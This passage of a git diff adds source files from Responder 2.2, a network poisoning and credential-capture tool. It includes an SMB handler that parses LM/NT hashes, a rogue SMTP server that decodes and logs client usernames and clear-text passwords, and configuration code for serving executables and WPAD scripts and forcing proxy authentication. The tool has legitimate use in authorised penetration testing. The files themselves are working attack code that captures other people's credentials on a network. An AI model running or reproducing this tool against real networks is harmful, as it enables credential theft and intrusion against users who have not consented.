flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Packet = str(head)+str(SMBSessEmpty()) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + self.request.send(Buffer) + + else: + ParseLMNTHash(data,self.client_address[0]) + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Packet = str(head)+str(SMBSessEmpty()) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + self.request.send(Buffer) + data = self.request.recv(1024) + + except Exception: + self.request.close() + pass \ No newline at end of file diff --git a/servers/SMTP.py b/servers/SMTP.py new file mode 100644 index 0000000..0bd8743 --- /dev/null +++ b/servers/SMTP.py @@ -0,0 +1,40 @@ +import os +import settings + +from SocketServer import BaseRequestHandler +from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 + +# ESMTP Server class +class ESMTP(BaseRequestHandler): + + def handle(self): + try: + self.request.send(str(SMTPGreeting())) + data = self.request.recv(1024) + + if data[0:4] == "EHLO": + self.request.send(str(SMTPAUTH())) + data = self.request.recv(1024) + + if data[0:4] == "AUTH": + self.request.send(str(SMTPAUTH1())) + data = self.request.recv(1024) + + if data: + Username = b64decode(data[:len(data)-2]) + self.request.send(str(SMTPAUTH2())) + data = self.request.recv(1024) + + if data: + Password = b64decode(data[:len(data)-2]) + Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "SMTP-Clear-Text-Password-%s.txt" % self.client_address[0]) + WriteData(Outfile,Username+":"+Password, Username+":"+Password) + + print text("[SMTP] Address : %s" % color(self.client_address[0], 3, 0)) + print text("[SMTP] Username : %s" % color(Username, 3, 0)) + print text("[SMTP] Password : %s" % color(Password, 3, 0)) + + ## FIXME: Close connection properly + + except Exception: + pass \ No newline at end of file diff --git a/servers/__init__.py b/servers/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/settings.py b/settings.py new file mode 100644 index 0000000..3673102 --- /dev/null +++ b/settings.py @@ -0,0 +1,114 @@ +import os +import sys +import socket +import utils +import ConfigParser + +__version__ = 'Responder 2.2' + +class Settings: + + def __init__(self): + self.ResponderPATH = os.path.dirname(__file__) + self.Responder_IP = '0.0.0.0' + + def __str__(self): + ret = 'Settings class:\n' + for attr in dir(self): + value = str(getattr(self, attr)).strip() + ret += " Settings.%s = %s\n" % (attr, value) + return ret + + def toBool(self, str): + return True if str.upper() == 'ON' else False + + def populate(self, options): + + if options.Responder_IP is None: + print utils.color("Error: -i mandatory option is missing", 1, 0) + sys.exit(-1) + + # Config parsing + config = ConfigParser.ConfigParser() + config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) + + # Servers + self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) + self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) + self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB')) + self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL')) + self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP')) + self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP')) + self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP')) + self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP')) + self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) + self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) + self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) + + # Log + self.SessionLog = config.get('Responder Core', 'SessionLog') + self.Log1Filename = os.path.join(self.ResponderPATH, self.SessionLog) + self.Log2Filename = os.path.join(self.ResponderPATH, 'logs', 'LLMNR-NBT-NS.log') + self.AnalyzeFilename = os.path.join(self.ResponderPATH, 'logs', 'Analyze-LLMNR-NBT-NS.log') + + # HTTP Options + self.Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper() + self.Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper() + self.Html_Filename = config.get('HTTP Server', 'HtmlFilename') + self.Exe_Filename = config.get('HTTP Server', 'ExeFilename') + self.WPAD_Script = config.get('HTTP Server', 'WPADScript') + self.HTMLToServe = config.get('HTTP Server', 'HTMLToServe') + + # SSL Options + self.SSLKey = config.get('HTTPS Server', 'SSLKey') + self.SSLCert = config.get('HTTPS Server', 'SSLCert') + + # Respond to hosts + self.RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) + self.RespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]) + self.DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) + self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]) + + print self.DontRespondTo + + # CLI options + self.Responder_IP = options.Responder_IP + self.LM_On_Off = options.LM_On_Off + self.WPAD_On_Off = options.WPAD_On_Off + self.Wredirect = options.Wredirect + self.NBTNSDomain = options.NBTNSDomain + self.Basic = options.Basic + self.Finger_On_Off = options.Finger + self.Interface = options.Interface + self.Verbose = options.Verbose + self.Force_WPAD_Auth = options.Force_WPAD_Auth + self.Upstream_Proxy = options.Upstream_Proxy + self.AnalyzeMode = options.Analyze + self.CommandLine = str(sys.argv) + + self.IP_aton = socket.inet_aton(self.Responder_IP) + self.Os_version = sys.platform + + if self.HTMLToServe == None: + self.HTMLToServe = '' + + if self.Interface != "Not set": + self.BIND_TO_Interface = self.Interface + + else: + self.BIND_TO_Interface = "ALL" + + # Challenge + self.NumChal = config.get('Responder Core', 'Challenge') + + if len(self.NumChal) is not 16: + print utils.color("The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788", 1, 0) + sys.exit(-1) + + self.Challenge = "" + for i in range(0, len(self.NumChal),2): + self.Challenge += self.NumChal[i:i+2].decode("hex") + +def init(): + global Config + Config = Settings() \ No newline at end of file diff --git a/utils.py b/utils.py new file mode 100644 index 0000000..4aea103 --- /dev/null +++ b/utils.py @@ -0,0 +1,180 @@ +#! /usr/bin/env python +import os +import re +import socket +import settings + +def color(txt, code = 1, modifier = 0): + return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) + +def text(txt): + return re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) + +def RespondToThisIP(ClientIp): + + if ClientIp.startswith('127.0.0.'): + return False + + if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo: + return False + + if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []: + if ClientIp not in settings.Config.DontRespondTo: + return True + + return False + +def RespondToThisName(Name): + + if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName: + return False + + if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []: + if Name.upper() not in settings.Config.DontRespondToName: + return True + + return False + +def RespondToThisHost(ClientIp, Name): + return (RespondToThisIP(ClientIp) and RespondToThisName(Name)) + +def IsOsX(): + return True if settings.Config.Os_version == "darwin" else False + +def OsInterfaceIsSupported(): + if settings.Config.Interface != "Not set": + return False if IsOsX() else True + else: + return False + +def FindLocalIP(Iface): + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0') + s.connect(("127.0.0.1",9))#RFC 863 + ret = s.getsockname()[0] + s.close() + return ret + +# Function used to write captured hashs to a file. +def WriteData(outfile,data, user): + if os.path.isfile(outfile) == False: + with open(outfile,"w") as outf: + outf.write(data) + outf.write("\n") + outf.close() + + if os.path.isfile(outfile) == True: + with open(outfile,"r") as filestr: + if re.search(user.encode('hex'), filestr.read().encode('hex')): + filestr.close() + return False + if re.search(re.escape("$"), user): + filestr.close() + return False + else: + with open(outfile,"a") as outf2: + outf2.write(data) + outf2.write("\n") + outf2.close() + +def PrintData(outfile, user): + + ### TEMP + return True + + if settings.Config.Verbose == True: + return True + + if os.path.isfile(outfile) == True: + with open(outfile,"r") as filestr: + if re.search(user.encode('hex'), filestr.read().encode('hex')): + filestr.close() + return False + if re.search(re.escape("$"), user): + filestr.close() + return False + else: + return True + else: + return True + +def PrintLLMNRNBTNS(outfile, Message): + if settings.Config.Verbose == True: + return True + + if os.path.isfile(outfile) == True: + with open(outfile,"r") as filestr: + if re.search(re.escape(Message), filestr.read()): + filestr.close() + return False + else: + return True + else: + return True + +def Parse_IPV6_Addr(data): + + if data[len(data)-4:len(data)][1] =="\x1c": + return False + + elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01": + return True + + elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01": + return True + + else: + return False + +def banner(): + + banner = "\n".join([ + ' __', + ' .----.-----.-----.-----.-----.-----.--| |.-----.----.', + ' | _| -__|__ --| _ | _ | | _ || -__| _|', + ' |__| |_____|_____| __|_____|__|__|_____||_____|__|', + ' |__|' + ]) + + print banner + print "\n "+color("NBT-NS, LLMNR & MDNS %s" % settings.__version__, 3, 1) + print "" + print color('[*]', 2, 1) +" Original work by Laurent Gaffie (lgaffie@trustwave.com)" + print color('[*]', 2, 1) +" To kill this script hit CRTL-C" + print "" + +def hexdump(src, l=0x16): + res = [] + sep = '.' + src = str(src) + + for i in range(0, len(src), l): + s = src[i:i+l] + hexa = '' + + for h in range(0,len(s)): + if h == l/2: + hexa += ' ' + h = s[h] + if not isinstance(h, int): + h = ord(h) + h = hex(h).replace('0x','') + if len(h) == 1: + h = '0'+h + hexa += h + ' ' + + hexa = hexa.strip(' ') + text = '' + + for c in s: + if not isinstance(c, int): + c = ord(c) + + if 0x20 <= c < 0x7F: + text += chr(c) + else: + text += sep + + res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text)) + + return '\n'.join(res)